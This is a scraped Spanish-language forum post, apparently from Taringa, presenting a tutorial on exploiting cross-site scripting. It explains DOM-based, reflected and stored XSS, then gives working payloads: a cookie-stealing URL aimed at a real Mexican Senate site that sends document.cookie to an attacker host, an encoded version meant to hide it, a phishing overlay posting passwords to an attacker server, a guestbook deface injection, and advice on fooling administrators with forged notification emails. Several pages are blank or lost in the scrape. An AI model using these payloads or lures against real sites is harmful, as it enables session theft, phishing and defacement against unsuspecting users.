Documenti di Didattica
Documenti di Professioni
Documenti di Cultura
Identificarme
electrohousee
20 Seguidores
328 Puntos
12 Posts
Honda Argentina
www.taringa.net/Honda_Argentina
Ganate un viaje para 2 personas al destino del pas que vos elijas.
Amateur
Hola amigos de T!
hoy les traigo un tutorial de vulnerabilidades Cross Site Scripting [XSS] y como explotarlas
Una vulnerabilidad es tan limitada como tu quieras que sea
=============
Introduccin:
=============
Cualquiera puede encontrar una gran cantidad de textos y manuales que traten sobre Cross Site Scripting. El
problema es que la mayora de esos textos no explican a fondo este tema. EEl objetivo de este texto es que
entiendan a fondo este tipo de vulnerabilidad, que conozcan y descubran varios mtodos de ataque, y sepan
como protegerse
contra el Cross Site Scripting.
Para poder comprender este manual en su totalidad, es recomendable que sepan un poco de HTML, y de ser
posible algo de JavaScript.
El Cross Site Scripting (XSS) es una vulnerabilidad muy comn hoy enda, se puede encontrar en la mayora de
las aplicaciones web en Internet.
Mucha gente ve el XSS como una vulnerabilidad obsoleta, y con este manual voy a demostrar que si se sabe
como explotar, puede ser de gran provecho. No por ser un fallo muy comn deja de ser importante.
Este fallo compromete ms que nada, la seguridad del usuario y no la del servidor. Consiste en inyectar cdigo
HTML o Javascript en una aplicacin web, con el fin de que el navegador de un usuario ejecute el cdigo
inyectado al momento de ver la pgina alterada.
Comnmente el XSS se utiliza para causar una accin indebida en el navegador de un usuario, pero dependiendo
de la vulnerabilidad, puedes explotar el fallo para causar una accin indebida en un servidor o en una aplicacin.
Esta limitacin se debe a que el cdigo HTML se interpreta en el navegador de un usuario y no en el servidor. As
que si alguien inyecta cdigo HTML en alguna aplicacin web no podra hacer dao alguno al servidor, ya que
ste nunca interpreta el cdigo HTML, solo los navegadores. Por eso este ataque se determina: ataque del lado
del
cliente.
El XSS se puede utilizar para hacer phishing, robo de credenciales,
troyanizar navegadores, o simplemente para hacer un deface. Todo
depende de la pgina.
====================
Cmo sucede el XSS?
====================
Con este manual me ir desde lo ms bsico. En muchos textos de XSS que
he visto dicen algo como:
Ve a algn formulario de bsqueda de una web y pon:
<script>alert();</script>[/color]
si sale una ventanita es vulnerable
Y entonces quien lee el manual, y no tiene idea de XSS, no entiende porque sucede sto, y nunca podr poder
saltarse un filtro de XSS, y jams podr inyectar cdigo fuera de un formulario. Explicar la vulnerabilidad de modo
que se entienda a fondo el por qu de sta.
Lo primero que se debe lograr al querer explotar alguna aplicacin con XSS, es inyectar cdigo HTML a la web; es
decir, lograr incluir HTML escrito por nosotros en el cdigo fuente de la pgina.
www.taringa.net/posts/ebooks-tutoriales/2306553/Tutorial-de-cross-site-scripting-XSS-como-atacar-ejemplos.html
1/20
30/09/13
=========================
Tipos de vulnerabilidades
=========================
Existen 3 tipos conocidos de Vulnerabilidades XSS.
El tipo-0, que se utiliza para ejecutar cdigo remotamente con los
permisos de otro usuario.
El tipo-1, ataque no-persistente o reflejado (explicado ms
adelante) utilizado en pginas no estticas.
Y el tipo-2, ataque persistente, donde se inyecta cdigo en
pginas estticas.
Estos tipos de vulnerabilidades son en los que se basan todos los dems
ataques. Es importante que el lector analice estos tres tipos de
ataques para identificar en que reas son peligrosos, que se puede
lograr con ellos, y como prevenirlos.
Tipo-0 :
Esta vulnerabilidad es conocida como: DOM-Based cross-site-scripting
www.taringa.net/posts/ebooks-tutoriales/2306553/Tutorial-de-cross-site-scripting-XSS-como-atacar-ejemplos.html
2/20
30/09/13
o cross-site-scripting local.
Es un ataque poco usual y talvez algo complicado de explicar. No
tratar esta vulnerabilidad a fondo, pero este manual hace un buen
trabajo explicndola: http://www.webappsec.org/projects/articles/071105.shtml
La diferencia entre el tipo-0 y los otros tipos de ataque, es que el
cdigo se inyecta a travs de la URL pero no se incluye en el cdigo
fuente de la pgina. Es decir, el cdigo nunca lleg a la pgina, solo
se ejecut en el navegador.
Esto nos podra servir de modo que, le demos una URL maligna a alguna
vctima que tenga alguna pgina hospedada en su mquina y, cuando la
vctima le da la URL a su navegador el cdigo se ejecuta en su
navegador, dicho cdigo podra realizar alguna accin en la pgina
hospedada por la vctima, y como fue ejecutado en el navegador de la
vctima tambin se ejecuta con los permisos que tiene la vctima en su
mquina. Esto podra llevar a realizar alguna accin remotamente en la
pgina de la vctima, como si este usuario las hubiera realizado.
De una forma a grandes rasgos: el tipo-0 ejecuta cdigo remotamente en
la mquina de un usuario con los permisos de este usuario.
Veamos un ejemplo de esta vulnerabilidad.
Imaginemos que la siguiente:
pgina (www.vulnerable.com/index.html) tiene el siguiente cdigo:
<HTML>
<TITLE>Bienv enido!</TITLE>
Hola
<SCRIPT>
v ar pos=document.URL.index Of("nombre=" +5;
document.write(document.URL.substring(pos,document.URL.length));
</SCRIPT>
<BR>
Bienv enido a nuestra pgina
</HTML>
La pgina anterior se utilizara para darle la bienvenida a algn usuario por su nombre, ejemplo:
http://vulnerable.com/index.html?nombre=piupert
Esto mostrara algo como:
Hola piupert Bienvenido a nuestra pgina
De cualquier modo, una peticin del siguiente modo:
http://vulnerable.com/index.html?nombre=<script>alert();</script>
Dara resultado a un XSS. Veamos por qu:
El navegador de la vctima visita el enlace, hace una peticin HTTP a
vulnerable.com y recibe la pgina index.html. Despus el navegador
empieza a interpretar el HTML de la pgina y forma la estructura del
documento. El documento contiene un objeto llamado document, que
contiene una propiedad llamada URL, y esta propiedad es remplazada
por la URL de la pgina actual, como parte de la estructura del
documento. Cuando el intrprete llega al cdigo Javascript lo ejecuta y
modifica el HTML en bruto. En este caso, el cdigo hace referencia a
document.URL, y entonces, esta cadena es incluida en el HTML al
momento de interpretar el cdigo, despus es inmediatamente
interpretada y ejecutada en el contexto de la misma pgina, por lo
tanto la condicin XSS.
Nota:
La inyeccin maligna nunca fue incluida en el HTML en bruto
(en cambio a los otros tipos de XSS).
Este ataque solo funciona si el navegador no modifica los
parmetros de la URL. (Ejemplo: <
%3C).
En el ejemplo anterior todava se puede discutir que la inyeccin si
lleg al servidor (en el ?nombre= de la peticin HTTP), y por lo
tanto puede ser detectado como cualquier ataque XSS. Pero an as esto
www.taringa.net/posts/ebooks-tutoriales/2306553/Tutorial-de-cross-site-scripting-XSS-como-atacar-ejemplos.html
3/20
30/09/13
Tipo-1
Es probablemente la vulnerabilidad ms comn que hay, por lo usual se
encuentra en motores de bsqueda. El tipo-1 es una vulnerabilidad nopersistente
o reflejada.
Este agujero de seguridad sucede cuando un servidor genera una pgina
instantnea de resultados de acuerdo a informacin proporcionada por el
navegador (ejemplo: una bsqueda). Si los datos proporcionados por el
navegador no son validados y se incluyen en el cdigo fuente de la
pgina, hay XSS.
El cross-site-scripting tipo-1 tampoco parece ser un problema de
www.taringa.net/posts/ebooks-tutoriales/2306553/Tutorial-de-cross-site-scripting-XSS-como-atacar-ejemplos.html
4/20
30/09/13
Tipo-2 :
Esta vulnerabilidad permite hacer los ataques ms peligrosos y
poderosos a las aplicaciones web. Es conocida como vulnerabilidad
persistente o almacenada.
www.taringa.net/posts/ebooks-tutoriales/2306553/Tutorial-de-cross-site-scripting-XSS-como-atacar-ejemplos.html
5/20
30/09/13
=====================
Mtodos de inyeccin
y tipos de ataques
=====================
Lgicamente antes de realizar un ataque XSS a una web debemos de
descubrir si la web es vulnerable. Para identificar el bug no nos
debemos limitar a formularios de bsqueda. Existen varios mtodos de
inyectar cdigo en una aplicacin que suelen ir ms all de los
formularios.
El XSS es una forma especial de ataque contra la validacin de los
parmetros de entrada. La diferencia principal entre un ataque XSS y
algn otro ataque de inyeccin (SQL por ejemplo) es que el objetivo en
este caso suelen ser los usuarios de la aplicacin, ms que la propia
aplicacin. Por ejemplo, en un ataque por inyeccin SQL se intentar
acceder o modificar datos de la base de datos de la aplicacin,
mientras que en un ataque XSS se introducir un troyano en el navegador
web de la vctima (por troyano me refiero a una aplicacin que se
ejecutar en el navegador sin que el usuario sea consciente de ello).
Este troyano puede ser hecho en lenguajes que se ejecutan de la parte
del cliente, como por ejemplo JavaScript.
Los ataques XSS tampoco se limitan al robo de cookies, como ya he dicho
antes, el ataque puede variar dependiendo de cada situacin. Se puede
aprovechar alguna vulnerabilidad conocida del navegador (acceso
arbitrario de ficheros, manipulacin de cookies, o algo parecido) para
www.taringa.net/posts/ebooks-tutoriales/2306553/Tutorial-de-cross-site-scripting-XSS-como-atacar-ejemplos.html
6/20
30/09/13
Post Relacionados
HAZLO TU MISMO
Existen filtros que validan los campos de entrada del formulario para
identificar inyecciones y eliminarlas. No obstante, no todos los campos
son filtrados, por eso se debe de tratar hacer inyeccin por todos los
campos posibles. Ms adelante trataremos el tema de los filtros.
INFO
HAZLO TU MISMO
NOTICIAS
PwndSecurity - Tu blog y
Twitter del hacktivismo.
Avisos Taringa!
Honda Argentina
http://my.images.hack/registration/index.php?user=wawa
<td>
<input ty pe="tex t" name="user" id="user" v alue="wawa"
style="width:300px;" maxlength="16" onkeydown="if(event.keyCode==13)
do_register();"/>
</td>
Si accedemos a esta pgina podremos ver como la cadena wawa aparece
en una caja de texto. Si la aplicacin inserta datos introducidos por
el usuario en el cdigo de la pgina, podemos encontrar una forma de
vulnerar la aplicacin para inyectar cdigo.
www.taringa.net/Honda_Argentina
Ganate un viaje para 2 personas al destino del pas
que vos elijas.
lanacion.com
www.lanacion.com.ar
Informacin confiable en Internet. Ingres
www.taringa.net/posts/ebooks-tutoriales/2306553/Tutorial-de-cross-site-scripting-XSS-como-atacar-ejemplos.html
7/20
30/09/13
www.taringa.net/posts/ebooks-tutoriales/2306553/Tutorial-de-cross-site-scripting-XSS-como-atacar-ejemplos.html
8/20
30/09/13
www.taringa.net/posts/ebooks-tutoriales/2306553/Tutorial-de-cross-site-scripting-XSS-como-atacar-ejemplos.html
9/20
30/09/13
www.taringa.net/posts/ebooks-tutoriales/2306553/Tutorial-de-cross-site-scripting-XSS-como-atacar-ejemplos.html
10/20
30/09/13
menos sospechoso.
Como la postal enviada al usuario es una pgina esttica, ahora veremos
como hacer esto con una vulnerabilidad en una pgina no esttica.
Veamos el ejemplo estudiado anteriormente de la web
http://www.pan.senado.gob.mx
donde la aplicacin de bsqueda es
vulnerable a XSS. Si la variable txttexto es vulnerable a inyeccin,
podemos formar la siguiente URL maligna:
http://www.pan.senado.gob.mx /resultados.php?tx ttex to=<script>window.loc
ation=http://atacante.com/robo.php?cookie=+document.cookie;</script>
Si enviamos esta URL a una vctima que tenga una cuenta en la pgina, y
logramos que de clic en el enlace, cuando entre a la pgina el cdigo
ser incrustado en la pgina y posteriormente ejecutado. Causando que
la pgina redireccione al navegador al programa del atacante enviando
el valor de su cookie.
Se puede codificar la URL para que se vea menos obvia, y quedar del
siguiente modo:
http%3A//www.pan.senado.gob.mx /resultados.php%3Ftx ttex to%3D%3Cscript%3E
window.location%3D%u201 9http%3A//atacante.com/robo.php%3Fcookie%3D%u201
9+document.cookie%3B%3C/script%3E
Puedes encontrar un codificar de URL en la siguiente pgina:
http://www.neosecurityteam.net/encode/
Esto fue el ataque de robo de credencial. Yo creo que es el ataque ms
explotado en cuestin de ataques XSS, donde el principal objetivo del
ataque es el usuario de una pgina. Los administradores pueden
identificar esta ataque porque tienen ms conocimientos sobre esto,
pero los usuarios normales son totalmente vulnerables a estos ataques.
An as hay administradores que bueno, ni hablar xD. Nunca descartes
la posibilidad de sacarle ventaja a este ataque. Y si realizas el
ataque por un mtodo parecido al de las postales, haciendo inyeccin en
pginas estticas, el ataque ser mucho ms difcil de identificar
porque el script maligno no se ve en la URL
Ataque phishing:
Este ataque es uno muy divertido. El phishing es crear un clon de una
pgina, y hacerle creer a una vctima que navega en la pgina original
cuando en realidad est navegando en la pgina falsa. Una vez que el
usuario se encuentre en esa pgina, se le pide informacin de su
cuenta, como nombres de usuario y contraseas; toda esta informacin es
almacenada para que despus el atacante recolecte la informacin.
El ataque trabaja bsicamente de la siguiente forma:
el atacante encuentra un bug de XSS en una pgina (sea esttica o no-esttica)
e inyecta cdigo que redirecciones el navegador hacia otra pgina,
exactamente igual a la original. Luego el atacante logra de alguna
manera que la vctima vea la pgina con la inyeccin, y al momento que
su navegador sea redireccionado la vctima pensar que se encuentra
navegando en la pgina original de forma segura.
La inyeccin se puede lograr de varias maneras. Una forma es
redireccionar el navegador con la funcin window.location hacia otro
sitio:
<script>window.location=http://sitio-falso.com/;</script>
Otro mtodo sera crear una capa de un tamao grande, de modo que cubra
el contenido original de la pgina:
<div id=lay er1 sty le="position:absolute; top:0; left:0; width:1 000; height:900; zindex :
1 ; background-color:#000000;"><center><h1 >LOGIN PAGE</h1 ><BR><form
action=http://serv idor-atacante.com/login.php method=post>Contrasea:<input
ty pe=password><input ty pe=submit></form><center></div >
La etiqueta div crea una capa que cubre toda la pgina, y esta capa
www.taringa.net/posts/ebooks-tutoriales/2306553/Tutorial-de-cross-site-scripting-XSS-como-atacar-ejemplos.html
11/20
30/09/13
www.taringa.net/posts/ebooks-tutoriales/2306553/Tutorial-de-cross-site-scripting-XSS-como-atacar-ejemplos.html
12/20
30/09/13
</select>
As cerramos la lista select, e inyectamos el cdigo que redirecciona
el navegador hacia otra ubicacin.
Otro ejemplo es el deface por medio de inyeccin en los guestbooks. Al
firmar un guestbook, normalmente ingresas los siguientes datos: Nombre,
correo, pgina, comentario. Y cuando se graban en el guestbook, el
cdigo queda as:
(los datos en color azul son los datos que el usuario ingres)
<b>Name: nombre</b><br>
<a href=mailto:correo@mail.com>Mail</a><br>
<a href=http://pagina.com>Website</a>
<i>Comentario:<br><code>Todo el comentario</code></i>
Si el guestbook no aplica un sistema de filtrado por caracteres como
< y > podemos realizar inyeccin en la pgina. Que tal si en el
campo correo ingresamos lo siguiente:
><script>/** deface **/ </script>
<b>Name: nombre</b><br>
<a href=mailto: ><script>/** deface **/ </script>>Mail</a><br>
<a href=http://pagina.com>Website</a>
<i>Comentario:<br><code>Todo el comentario</code></i>
De esta manera rompemos la etiqueta <a href e insertamos nuestro
cdigo del deface. Tambin podramos realizar lo mismo con el campo
pgina.
As que para realizar este tipo de inyecciones, necesitamos estudiar el
cdigo fuente y darnos cuenta de que sucede con los datos que nosotros
ingresamos. De este modo conoceremos los lugares en donde podemos
inyectar cdigo, y la forma en la que se debe de hacer.
Las aplicaciones mas profesionales tienen filtros, que validan todos
los datos que ingres el usuario para evitar inyecciones. Pero ah
entran los ataques contra la validacin de entrada, que es buscar todos
los medios por los que podemos inyectar cdigo (explicado
anteriormente), o tratar de saltarnos los filtros; lo que vamos a ver a
continuacin.
Salto de filtros
Como ya expliqu antes, las aplicaciones suelen tener filtros que
procesan los datos ingresados por el usuario y los validan para remover
las posibles inyecciones de cdigo. Ahora estudiar unos cuantos
mtodos bsicos que se utilizan para tratar de saltar estos filtros. Y
de nuevo, la forma en la que nos podemos saltar un filtro depende
totalmente de la aplicacin, de cmo est hecha y de cmo funciona. Por
eso debemos estudiar los filtros y saber exactamente como trabajan.
www.taringa.net/posts/ebooks-tutoriales/2306553/Tutorial-de-cross-site-scripting-XSS-como-atacar-ejemplos.html
13/20
30/09/13
Disminuyendo la sospecha
Los ataques de XSS en pginas no estticas son un poco riesgosos, ya
que se puede identificar el ataque fcilmente desde la URL de la
pgina. Sin embargo, no debemos de descartar estos ataques por esta
desventaja. Recuerden que el XSS es considerado un ataque de bajo
riesgo por esa misma razn, pero la gente no tiene idea de lo que se
puede hacer si se explota de forma correcta.
En estos ataques debemos de hacer que la victima entre a la pgina por
medio del enlace que nosotros les damos.
Sin duda la codificacin de caracteres en la URL, es un mtodo que
oculta casi completamente el ataque para los usuarios normales, ya que
ellos no tienen un conocimiento amplio y no podran identificar algo
anormal en la URL. Un usuario normal se acostumbra a ver cosas raras en
la URL de las pginas (parmetros), y por naturalidad los ignora. Ahora
solo basta con aplicar un poco de ingeniera social para enviar el
correo a la vctima.
Para aplicar el ataque a algn administrador seguramente se tendrn que
usar tcnicas ms avanzadas. Un ataque muy efectivo que he hecho, es el
enviar un correo a la vctima con respecto a su sitio web, que haga que
la vctima de clic en algn enlace. Y el enlace est hecho de la
siguiente manera:
<a href=http://pagina.com/?v ariable=codigo-roba-cookies >
http://pagina.com/mensajes/moderar.php</a>
As la vctima no ve la direccin del enlace en el correo, solo ve un
link que contiene una direccin, y dejndose llevar por la apariencia
dar clic en el enlace sin sospecha alguna.
Lo que suelo hacer para realizar este tipo de ataques, es investigar
alguna aplicacin o servicio emplead en la pgina, que suele enviar
correos al administrador para informarle de cosas. Un ejemplo muy claro
son los blogs, que notificar al administrador que se han enviado nuevos
comentarios que hay que moderar. Una vez que tengo identificados los
servicios que envan correos, mando un correo falso que contiene el
enlace, hacindome pasar por dicho servicio.
En la mayora de los ataques credencial-theft o de phishing, el
www.taringa.net/posts/ebooks-tutoriales/2306553/Tutorial-de-cross-site-scripting-XSS-como-atacar-ejemplos.html
14/20
30/09/13
=============
Conclusin: |
=============
Con esto concluyo este (creo extenso xD) manual de XSS, quise hacer el
manual lo ms completo posible en cuanto a fundamentos. Y trat de
explicar todo con mucha claridad.
Quiero agradecer al grupo ICEnetX, por apoyo y ayuda con el tutorial.
A Megabyte por la informacin de tipos de ataques y salto de filtros.
A Paisterist por ayudarme con ciertas dudas.
Y a vos por leer el tutorial.
Eso es todo, y nos vemos a la prxima y espero q les sirva..
La informacion que se brinda en este tutorial es solo para aprendisaje y conocimiento
No me hago responsable del uso que le den a este ...
esto me llevo mucho tiempo xD no se olviden que
Comentar es agradecer
Tags
Hackear
XSS
hack
cracking
bug
tutorial
m sn
Vulnerabilidades
defacear
Cookie
defacing
Compartir
Dar puntos
197 Puntos
+10
Seguir
91
A favoritos
21.150
Favoritos
Visitas
3
Seguidores
INFO
INFO
VIDEOS ON-LINE
Battlefield Heroes
Hack+tutorial en
espaol 2011 :D
MAC
33 comentarios
@hookdump hace 4 aos
www.taringa.net/posts/ebooks-tutoriales/2306553/Tutorial-de-cross-site-scripting-XSS-como-atacar-ejemplos.html
15/20